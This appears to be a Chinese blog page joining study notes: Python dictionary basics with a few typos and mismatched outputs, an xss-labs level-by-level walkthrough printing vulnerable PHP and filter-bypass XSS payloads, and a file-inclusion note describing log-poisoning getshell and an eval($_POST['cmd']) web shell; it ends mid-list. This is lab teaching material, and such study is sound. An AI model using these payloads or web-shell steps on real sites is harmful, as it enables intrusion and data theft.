	# 字典中找某个元素时，是根据 ' 名字 '（就是冒号：前面的那个值，例如上面代码中的 'name'、'id'、'sex'）
	# 字典的每个元素由 2 部分组成，键：值。例如 'name':' 班长 ' ,'name' 为键，' 班长 ' 为值

	<3>根据键访问值
	zxc = {'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}
	print(zxc['name'])
	print(zxc['id'])
	print(zxc['sex'])
	print(zxc['address'])

	在我们不确定字典中是否存在某个键而又想获取其值时，可以使用get方法，还可以设置默认值：
	zxc = {'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}
	print(zxc.get('234'))
	None

	print(zxc.get('234',989))
	989

# 字典的常见操作

	<1>修改元素
	字典的每个元素中的数据是可以修改的，只要通过key找到，即可修改
	zxc = {'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}

	c = input("请输入id")

	zxc['id'] = c
	print(zxc)

	请输入id9999
	{'name': '班长', 'id': '9999', 'sex': 'f', 'address': '地球亚洲中国北京'}


	<2>添加元素
	如果在使用变量名['键'] = 数据时，这个“键”在字典中，不存在，那么就会新增这个元素。
	zxc = {'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}

	c = input("请输入sfz:")
	zxc['sfz']=c
	print(zxc)

	请输入sfz:9120348
	{'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京', 'sfz': '9120348'}



	<3>删除元素

	对字典进行删除操作，有一下几种：

	del
	clear()

	demo: del删除指定的元素

	zxc = {'name': '班长', 'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}
	del zxc['name']
	print(zxc)

	{'id': 100, 'sex': 'f', 'address': '地球亚洲中国北京'}

	demo: del删除整个字典
	info = {'name':'monitor', 'sex':'f', 'address':'China'}

	print('删除前,%s' % info)
	del info
	print('删除后,%s' % info)

	Traceback (most recent call last):
	File "D:/python基础/基础/dome.py", line 5, in <module>
	print('删除后,%s' % zxc)
	NameError: name 'zxc' is not defined
	删除前,{'name': 'monitor', 'sex': 'f', 'address': 'China'}


	clear清空整个字典
	info = {'name':'monitor', 'sex':'f', 'address':'China'}
	print('清空前,%s' % info)
	info.clear()
	print('清空后,%s' % info)
	删除前,{'name': 'monitor', 'sex': 'f', 'address': 'China'}
	删除后,{}

	字典的常见操作2
	<1>len()

	测量字典中，键值对的个数
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	print(len(dict01))
	3

	<2>keys
	返回一个包含字典所有KEY的列表
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	keys = dict01.keys()
	print(keys)
	['name', 'age', 'sex']


	<3>values
	返回一个包含字典所有value的列表
	ict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	values = dict01.values()
	print(values)
	['张三', 18, 'm']

	<4>items
	返回一个包含所有（键，值）元祖的列表
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	items = dict01.items()
	print(items)
	[('name', '张三'), ('age', 18), ('sex', 'm')]

# 字典遍历

	字符串遍历
	>>> a_str = "hello itcast"
	>>> for char in a_str:
	... print(char,end=' ')
	...
	h e l l o i t c a s t

	列表遍历
	>>> a_list = [1, 2, 3, 4, 5]
	>>> for num in a_list:
	... print(num,end=' ')
	...
	1 2 3 4 5

	元组遍历
	>>> a_turple = (1, 2, 3, 4, 5)
	>>> for num in a_turple:
	... print(num,end=" ")
	1 2 3 4 5

	字典遍历
	<1> 遍历字典的key（键）
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	for key in dict01.keys():
	print(key)

	结果：
	name
	age
	sex

	<2> 遍历字典的value（值）
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	for value in dict01.values():
	print(value)

	张三
	18
	m

	<3> 遍历字典的项（元素）
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	for item in dict01.items():
	print(item)

	结果：
	('name', '张三')
	('age', 18)
	('sex', 'm')

	<4> 遍历字典的key-value（键值对）
	dict01 = {'name': '张三', 'age': 18, 'sex': 'm'}
	for key, value in dict01.items():
	print('%s--%s' % (key, value))

	结果：
	name--张三
	age--18
	sex--m

	想一想，如何实现带下标索引的遍历
	enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)组
	合为一个索引序列，同时列出数据和数据下标，一般用在 for 循环当中。
	>>> chars = ['a', 'b', 'c', 'd']
	>>> for i, chr in enumerate(chars):
	... print("%d %s"%(i, chr))
	...
	0 a
	1 b
	2 c
	3 d

# 公共方法

	1 cmp(item1, item2) 比较两个值
	2 len(item) 计算容器中元素个数
	3 max(item) 返回容器中元素最大值
	4 min(item) 返回容器中元素最小值
	5 del(item) 删除变量


	cmp

	>>> cmp("hello", "itcast")
	-1
	>>> cmp("itcast", "hello")
	1
	>>> cmp("itcast", "itcast")
	0
	>>> cmp([1, 2], [3, 4])
	-1
	>>> cmp([1, 2], [1, 1])
	1
	>>> cmp([1, 2], [1, 2, 3])
	-1
	>>> cmp({"a":1}, {"b":1})
	-1
	>>> cmp({"a":2}, {"a":1})
	1
	>>> cmp({"a":2}, {"a":2, "b":1})
	-1
	注意：cmp在比较字典数据时，先比较键，再比较值。


	len

	>>> len("hello itcast")
	12
	>>> len([1, 2, 3, 4])
	4
	>>> len((3,4))
	2
	>>> len({"a":1, "b":2})
	2

	注意：len在操作字典数据时，返回的是键值对个数。



	max

	>>> max("hello itcast")
	't'
	>>> max([1,4,522,3,4])
	522
	>>> max({"a":1, "b":2})
	'b'
	>>> max({"a":10, "b":2})
	'b'
	>>> max({"c":10, "b":2})
	'c'



	del

	del有两种用法，一种是del加空格，另一种是del()
	>>> a = 1
	>>> a
	1
	>>> del a
	>>> a
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	NameError: name 'a' is not defined
	>>> a = ['a', 'b']
	>>> del a[0]
	>>> a
	['b']
	>>> del(a)
	>>> a
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	NameError: name 'a' is not defined



	多维列表/元祖访问的示例
	>>> tuple1 = [(2,3),(4,5)]
	>>> tuple1[0]
	(2, 3)
	>>> tuple1[0][0]
	2
	>>> tuple1[0][2]
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	IndexError: tuple index out of range


	>>> tuple1[0][1]
	3
	>>> tuple1[2][2]
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	IndexError: list index out of range


	>>> tuple2 = tuple1+[(3)]
	>>> tuple2
	[(2, 3), (4, 5), 3]
	>>> tuple2[2]
	3
	>>> tuple2[2][0]
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	TypeError: 'int' object is not subscriptable

xss漏洞

2023-11-01T00:00:22.000Z

# 💭xss 漏洞介绍

跨站脚本攻击（Cross-Site Scripting，XSS）是一种常见的网络安全漏洞，它允许攻击者将恶意脚本注入到网页中，这些脚本然后被浏览器执行，从而使攻击者能够窃取用户的信息、劫持会话、破坏网站的功能或以其他方式危害用户和网站的安全性。XSS 攻击通常通过在网页中插入恶意代码来实现，而这些代码会在用户浏览网页时执行。

# 🕷️XSS 漏洞通常分为三个主要类型

存储型 XSS（Stored XSS）：攻击者将恶意脚本存储在服务器上的数据库或文件中，然后当用户访问包含这些恶意脚本的页面时，浏览器会加载并执行这些脚本。这可能导致用户的敏感信息被盗取，或者对网站的内容进行篡改。

反射型 XSS（Reflected XSS）：攻击者将恶意脚本包含在 URL 中，然后诱使用户点击这个 URL。当用户点击链接时，恶意脚本会被注入到页面中并立即执行。这种类型的攻击通常需要社会工程或诱导用户点击恶意链接。

DOM-based XSS：这种类型的攻击不依赖于服务器将恶意脚本存储或反射到页面上。相反，攻击利用了文档对象模型（DOM）在浏览器中的操作方式，通过修改页面的 DOM 结构来执行恶意操作。这种攻击通常难以检测和防御。

# 💔危害

窃取用户的敏感信息，如用户名、密码、cookie 等。
劫持用户会话，使攻击者能够以用户身份执行操作。
修改网页内容，包括插入恶意链接或欺骗用户。
利用网站的信任来进行社会工程攻击。

要防止 XSS 攻击，开发人员和网站管理员可以采取以下措施：

输入验证和过滤：对用户输入的数据进行验证和过滤，以确保不允许任何恶意代码通过。
输出编码：在将用户输入的数据输出到网页时，使用适当的编码方法，如 HTML 编码、JavaScript 编码，以防止浏览器解释为可执行代码。
HTTP 头部设置：在 HTTP 响应中设置适当的安全头部，如 Content Security Policy（CSP）来限制浏览器加载外部资源。
使用安全框架：使用安全框架和库，如 OWASP AntiSamy 或 DOMPurify，来帮助防御 XSS 攻击。
及时更新：及时更新网站的软件、库和依赖项，以修复已知的漏洞。

挖掘 xss 语句时可以用 <>'" 空格这些标签查看页面源代码看看有没有过滤

	<script>alert(1)</script>
	<svg onload=alert(1)>
	<a href=javascript:alert(1)>
	<a href='javascript:alert(1)'>aa</a>

# 🐸xss-labs 演示

# 第一关

输入的会被插入到 h2 标签里并且没有任何过滤

👁️代码分析

源码分析：下面的代码，str 获取 name 的值，直接返回前端使用。说明源码是完全没有对 GET 请求到的 name 变量进行过滤，原封不动地发送到浏览器的，所以才会被执行

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level2.php?keyword=test";
	}
	</script>
	<title>欢迎来到level1</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level1</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["name"]; GET获取用户输入内容给str
	echo "<h2 align=center>欢迎用户".$str."</h2>"; 直接echo输出h2标签里使用没有任何过滤
	?>
	<center><img src=level1.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>

	payload:<script>alert(33333)</script>

# 第二关

👁️代码分析

	这关用到了 htmlspecialchars() 函数

	htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
	预定义的字符是:
	&（和号）成为&
	"（双引号）成为 "
	'（单引号）成为 '
	< （小于）成为 <
	>（大于）成为 >

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level3.php?writing=wait";
	}
	</script>
	<title>欢迎来到level2</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level2</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form action=level2.php method=GET>
	<input name=keyword value="'.$str.'">
	<input type=submit name=submit value="搜索"/>
	</form>
	</center>';
	?>
	<center><img src=level2.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>
	用htmlspecialchars对用户输入的预定义的字符转换为HTML实体

<> 被转义了导致无法执行语句弹窗

而 input 也被写入了语句并且没有进行转义，可以在这里闭合 input 就可以执行语句了

payload: "> <script>alert(1)</script>

# 第三题

输入上关语句无效了

查看源代码对两处都用 htmlspecialchars 函数处理了无法闭合了，可以使用’ autofocus onfocus=alert (666) ' 事件触发型的语句

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level4.php?keyword=try harder!";
	}
	</script>
	<title>欢迎来到level3</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level3</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	echo "<h2 align=center>没有找到和".htmlspecialchars($str).被处理"相关的结果.</h2>"."<center>
	<form action=level3.php method=GET>
	<input name=keyword value='".htmlspecialchars($str)."'> 被处理
	<input type=submit name=submit value=搜索 />
	</form>
	</center>";
	?>
	<center><img src=level3.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>

# 第四关

和第三关一样不过这关用双引号闭合

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level5.php?keyword=find a way out!";
	}
	</script>
	<title>欢迎来到level4</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level4</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str2=str_replace(">","",$str); >
	$str3=str_replace("<","",$str2); <被转换为空
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form action=level4.php method=GET>
	<input name=keyword value="'.$str3.'"> 双引号包裹
	<input type=submit name=submit value=搜索 />
	</form>
	</center>';
	?>
	<center><img src=level4.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
	?>
	</body>
	</html>

< > 被转换为空了

# 第五关

scrinpt 被替换了但是 <> 没有被处理

可以用其他标签代替"><ahref="javascript:alert(1);">xss</a>

添加一个 a 标签内容弹窗点击触发弹窗

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level6.php?keyword=break it out!";
	}
	</script>
	<title>欢迎来到level5</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level5</h1>
	<?php
	ini_set("display_errors", 0);
	$str = strtolower($_GET["keyword"]);
	$str2=str_replace("<script","<scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form action=level5.php method=GET>
	<input name=keyword value="'.$str3.'">
	<input type=submit name=submit value=搜索 />
	</form>
	</center>';
	?>
	<center><img src=level5.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
	?>
	</body>
	</html>

	把<script 和on 替换为<scr_ipt o_n 所以不可用

# 第六关

输入 "><ahref=“javascript:alert (1);”>xss

href 被过滤了可以尝试一下把 href 写成大小写 hREf

这样就成功绕过了

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level7.php?keyword=move up!";
	}
	</script>
	<title>欢迎来到level6</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level6</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str2=str_replace("<script","<scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	$str4=str_replace("src","sr_c",$str3);
	$str5=str_replace("data","da_ta",$str4);
	$str6=str_replace("href","hr_ef",$str5);
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form action=level6.php method=GET>
	<input name=keyword value="'.$str6.'">
	<input type=submit name=submit value=搜索 />
	</form>
	</center>';
	?>
	<center><img src=level6.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
	?>
	</body>
	</html>

$str2=str_replace("<script","<scr_ipt",$ str);

$str3=str_replace("on","o_n",$ str2);

$str4=str_replace("src","sr_c",$ str3);

$str5=str_replace("data","da_ta",$ str4);

$str6=str_replace("href","hr_ef",$ str5);

过滤了更多标签

# 第七关

把 href 过滤为空了，可以写两遍双写绕过

# 第八关

把输入内容到了 input 标签里和 a 标签里

script 被替换双引号被转义

javascript 也被替换了

把 javascript:alert (1); 编码

javascript:alert(1); 绕过替换检测到 herf 里面会被解码

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level9.php?keyword=not bad!";
	}
	</script>
	<title>欢迎来到level8</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level8</h1>
	<?php
	ini_set("display_errors", 0);
	$str = strtolower($_GET["keyword"]);
	$str2=str_replace("script","scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	$str4=str_replace("src","sr_c",$str3);
	$str5=str_replace("data","da_ta",$str4);
	$str6=str_replace("href","hr_ef",$str5);
	$str7=str_replace('"','&quot',$str6);
	echo '<center>
	<form action=level8.php method=GET>
	<input name=keyword value="'.htmlspecialchars($str).'">
	<input type=submit name=submit value=添加友情链接 />
	</form>
	</center>';
	?>
	<?php
	echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
	?>
	<center><img src=level8.jpg></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
	?>
	</body>
	</html>

strtolower把字符串转换为小写

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

被替换.htmlspecialchars($str)转义

# 第九关

输入上关的显示链接不合法

输入一个链接

还是不合法显示

加上http://gyzero.shop成功跳转，那就是检测了有没有http://没有就报错

在上一关基础上添加http://

javascript:alert(1);//http:// 并且用//把http://注释掉

javascript:alert(1);//http://

成功弹窗

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level10.php?keyword=well done!";
	}
	</script>
	<title>欢迎来到level9</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level9</h1>
	<?php
	ini_set("display_errors", 0);
	$str = strtolower($_GET["keyword"]);
	$str2=str_replace("script","scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	$str4=str_replace("src","sr_c",$str3);
	$str5=str_replace("data","da_ta",$str4);
	$str6=str_replace("href","hr_ef",$str5);
	$str7=str_replace('"','&quot',$str6);
	echo '<center>
	<form action=level9.php method=GET>
	<input name=keyword value="'.htmlspecialchars($str).'">
	<input type=submit name=submit value=添加友情链接 />
	</form>
	</center>';
	?>
	<?php
	if(false===strpos($str7,'http://'))
	{
	echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
	}
	else
	{
	echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
	}
	?>
	<center><img src=level9.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
	?>
	</body>
	</html>


	增加了一个判断如果str7含有http://则添加成功如果没有则报错您的链接不合法？有没有！
	if(false===strpos($str7,'http://'))
	{
	echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
	}
	else
	{
	echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
	}

# 第九关

输入’"<>script javascript 只有 <> 被过滤了

三个隐藏域

添加参数

t_sort 输入的被传回前端

&t_sort=" type=“text” autofocus onfocus=alert(1)//

# 第十一关

多了一个

t_ref 获取 http referer

更改 referer

成功弹窗

👁代码分析

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level12.php?keyword=good job!";
	}
	</script>
	<title>欢迎来到level11</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level11</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str00 = $_GET["t_sort"];
	$str11=$_SERVER['HTTP_REFERER']; 获取referer赋值给$str11
	$str22=str_replace(">","",$str11); <>替换为空
	$str33=str_replace("<","",$str22); 赋值给$str33
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form id=search>
	<input name="t_link" value="'.'" type="hidden">
	<input name="t_history" value="'.'" type="hidden">
	<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ref" value="'.$str33.'" type="hidden"> value=$str33
	</form>
	</center>';
	?>
	<center><img src=level11.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>

# 第十二关

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level13.php?keyword=good job!";
	}
	</script>
	<title>欢迎来到level12</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level12</h1>
	<?php
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str00 = $_GET["t_sort"];
	$str11=$_SERVER['HTTP_USER_AGENT']; 这次获取的UA头内容
	$str22=str_replace(">","",$str11);
	$str33=str_replace("<","",$str22);
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form id=search>
	<input name="t_link" value="'.'" type="hidden">
	<input name="t_history" value="'.'" type="hidden">
	<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ua" value="'.$str33.'" type="hidden">
	</form>
	</center>';
	?>
	<center><img src=level12.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>

这次获取的 UA 头内容其他跟上关一样改一下就行了

# 第十三关

这次获取的 cookie 其他跟上关一样改一下就行了

	<!DOCTYPE html><!--STATUS OK--><html>
	<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<script>
	window.alert = function()
	{
	confirm("完成的不错！");
	window.location.href="level14.php";
	}
	</script>
	<title>欢迎来到level13</title>
	</head>
	<body>
	<h1 align=center>欢迎来到level13</h1>
	<?php
	setcookie("user", "call me maybe?", time()+3600);
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str00 = $_GET["t_sort"];
	$str11=$_COOKIE["user"];
	$str22=str_replace(">","",$str11);
	$str33=str_replace("<","",$str22);
	echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
	<form id=search>
	<input name="t_link" value="'.'" type="hidden">
	<input name="t_history" value="'.'" type="hidden">
	<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_cook" value="'.$str33.'" type="hidden">
	</form>
	</center>';
	?>
	<center><img src=level13.png></center>
	<?php
	echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
	?>
	</body>
	</html>

# 第十五关

f12 看到 ngInclude: undefined 未定义

定义和用法

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式，返回一个文件名。

默认情况下，包含的文件需要包含在同一个域名下。

用他去包含第一关

src=‘level1.php?name=’

# 第十六关

script 和 / 空格没了

html中是可以将%0a和%0d作为空格使用的

<a%0adonmouseover='alert(1)'>

划过触发的事件*onmouseover*

# 第十七关

转义后给了 embed 标签

embed 标签可以理解为定义了一个区域，可以放图片、视频、音频等内容，但是呢相对于他们，embed 标签打开不了文件的时候就会没有显示的区域在，他们就能有块错误的区域

构建[http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=234567%20onmouseover=%27alert(1)%27]

# 第十八关

[http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=555 onmouseover=‘alert(1)’](http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=555 onmouseover=‘alert(1)’)

一样通关

# 总结

总结

无过滤机制：指的是在应用程序中没有对用户输入数据进行足够的过滤和验证，从而使恶意用户能够插入恶意代码，例如JavaScript，以攻击其他用户或应用程序。
闭合标签：在HTML或XML中，攻击者尝试注入未经关闭的标签，以破坏文档结构或执行恶意代码。
单引号闭合 + 添加事件：这是一种XSS攻击技术，攻击者尝试通过在HTML属性中插入单引号并添加JavaScript事件来执行恶意代码。
双引号闭合 + 添加事件：类似于上面的攻击，但使用双引号来闭合属性，并添加JavaScript事件。
双引号闭合 + 新建标签：攻击者尝试通过在HTML属性中插入双引号并创建新的HTML标签来执行恶意代码。
大小写绕过：攻击者尝试通过在标签和属性名称中使用大小写混合来绕过安全过滤。
双写绕过：攻击者尝试通过在标签或属性名称中使用双写来绕过安全过滤，例如使用<sccript>代替<script>。
编码绕过：攻击者可能尝试使用编码或转义字符来绕过安全过滤，使浏览器执行恶意代码。
检测关键字：安全过滤器通常会检查用户输入中的关键字，以识别和防止恶意代码注入。
隐藏域打XSS：攻击者尝试通过在HTML表单的隐藏字段中插入恶意脚本来进行XSS攻击。
Referer字段打XSS：攻击者可能会尝试通过伪造Referer字段的值来欺骗服务器，以执行XSS攻击。
User-Agent字段打XSS：攻击者可能会伪造User-Agent字段，试图绕过安全措施以进行XSS攻击。
Cookie字段打XSS：攻击者尝试通过在Cookie中注入恶意脚本来进行XSS攻击。
代码不全做不了：指的是应用程序在接收到用户输入后没有足够的代码完整性检查，导致可能无法执行某些完整性要求的操作。
ng-include 属性：这是AngularJS中的一个指令，如果不受控制地将用户提供的内容包含在ng-include中，可能会导致XSS攻击。
空格实体转义：攻击者可能尝试通过将空格字符替换为HTML实体，来绕过安全过滤。
embed参数拼接：攻击者尝试通过构造恶意的embed标签参数来执行XSS攻击。

文件包含漏洞

2023-10-30T14:15:36.000Z

文件包含漏洞（File Inclusion Vulnerability）是一种常见的网络安全漏洞，通常发生在 web 应用程序中。这种漏洞允许攻击者在应用程序中包含、执行或显示本不应该被访问的文件内容。文件包含漏洞通常发生在以下两种情况中：

本地文件包含（Local File Inclusion，LFI）：攻击者通过构造恶意请求，使应用程序包含本地文件系统上的文件，通常是敏感文件。这些文件可以包括密码文件、配置文件、日志文件等，泄露敏感信息或执行恶意代码。攻击者通常通过修改 URL 参数或请求头来实施这种攻击。
远程文件包含（Remote File Inclusion，RFI）：攻击者利用应用程序允许包含远程文件的漏洞，将恶意代码包含到应用程序中，以执行攻击者控制的代码。通常，攻击者提供一个远程 URL，应用程序会下载并执行其中的内容。
输入验证和过滤：确保应用程序对用户提供的文件路径或 URL 进行适当的输入验证和过滤，以防止包含恶意文件或路径。
使用白名单：仅允许应用程序包含已知可信的文件或路径，而不是黑名单，因为黑名单可能不完全，无法覆盖所有潜在的攻击。
隔离文件系统权限：确保应用程序运行在具有最小权限的帐户上，以减少攻击者获取访问文件系统的机会。
定期更新和维护应用程序：确保应用程序和相关组件都是最新的，以修复已知的漏洞。
安全编程实践：开发人员应当采用安全编程实践，避免将用户提供的输入直接用于文件包含操作，尤其是未经适当验证和过滤的输入。
使用 Web 应用程序防火墙（WAF）：WAF 可以帮助检测和阻止文件包含漏洞等攻击。

# 常见文件包含函数

PHP：
include (): 用于将文件包含到 PHP 脚本中。如果包含的文件不存在，它会产生警告，但脚本会继续执行。
require (): 与 include () 类似，但如果包含的文件不存在，它会产生致命错误，停止脚本执行。
include_once (): 用于包含文件，但只包含一次，以防止重复包含。
require_once (): 与 include_once () 类似，但只包含一次，并且如果文件不存在会产生致命错误。
Python：
execfile (): 用于执行 Python 文件。可以将外部文件的代码动态执行在当前环境中。
import: 用于导入其他 Python 模块。这通常更安全，因为 Python 的导入系统有内置的安全性。

# 代码分析

	$html='';
	if(isset($_GET['submit']) && $_GET['filename']!=null){
	$filename=$_GET['filename'];
	include "include/$filename";// 变量传进来直接包含，没做任何的安全限制

本地文件包含 - 包含本地的文件
本地有一个 shell 文件内容是 <?php phpinfo ();eval ($_POST [‘cmd’]);>
传入参数去包含 shell,…/ 是表示上目录，查找有没有这个文件如果有的话就包含这个文件执行里面的
php 代码如果是不可执行的话返回内容
- 配合图片马使用也是可以包含执行的
- 上传图片马然后用蚂蚁剑连

# 包含日志文件进行 getshell

常见的中间件和服务器日志文件的默认路径可以因软件版本、操作系统和配置而异，但通常以下是一些常见的默认日志文件路径：

Apache HTTP Server:

错误日志文件: /var/log/apache2/error.log (Debian/Ubuntu) 或 /var/log/httpd/error_log (CentOS/RHEL)

访问日志文件: /var/log/apache2/access.log (Debian/Ubuntu) 或 /var/log/httpd/access_log (CentOS/RHEL)

Nginx:
错误日志文件: /var/log/nginx/error.log
访问日志文件: /var/log/nginx/access.log
Tomcat:

错误日志文件:$CATALINA_BASE/logs/catalina.out（通常在 catalina.out 或 catalina.log 文件中）

访问日志文件: $CATALINA_BASE/logs/access_log

错误日志：

默认情况下，IIS 的错误日志通常位于 % SystemDrive%\inetpub\logs\LogFiles\W3SVC#\ 目录中，其中 ** # ** 代表站点的唯一 ID。通常，这个目录中会有多个子目录，每个子目录对应一个不同的站点。

访问日志：

访问日志通常也存储在与错误日志相同的目录中，即 % SystemDrive%\inetpub\logs\LogFiles\W3SVC#。这里的 # 仍然代表站点的唯一 ID。通常，访问日志文件以 u_exYYMMDD.log 格式的方式命名，其中 YYMMDD 代表日期。

用 burp 抓包然后把提交的参数写成一句话木马
然后 apache 服务器日志里会有这样的记录 127.0.0.1 - - [30/Oct/2023:17:51:19 +0800] “GET /vul/fileinclude/fi_local.php?filename=&submit=% E6%8F%90% E4% BA% A4% E6%9F% A5% E8% AF% A2” 400 2220 里会有我们刚才提交的一句话木马，然后用文件包含去包含
这个日志文件里面的一句话就会被执行错误日志也可以（前提是要有权限）

# 配合文件上传漏洞 getshell

文件上传一个 txt 文本或者图片里面添加一句话木马

# 伪协议

file://:

用于访问本地文件系统中的文件。在文件包含漏洞攻击中，攻击者可能尝试使用这个协议来包含恶意文件。

http:// 和 https://:

用于访问 HTTP 和 HTTPS URL 资源。这些协议通常用于从 Web 服务器上获取数据。

ftp:// 和 ftps://:

用于访问 FTP 和 FTPS URLs，可以用于上传和下载文件。

php://:

用于访问各种输入 / 输出流，如 php://input 和 php://output，在 PHP 中执行文件操作时非常有用。

zlib://:

用于压缩和解压缩流。

data://:

用于处理数据 URL，允许将数据直接嵌入到 URL 中。

glob://:

用于查找匹配的文件路径模式，通常用于文件操作。

phar://:

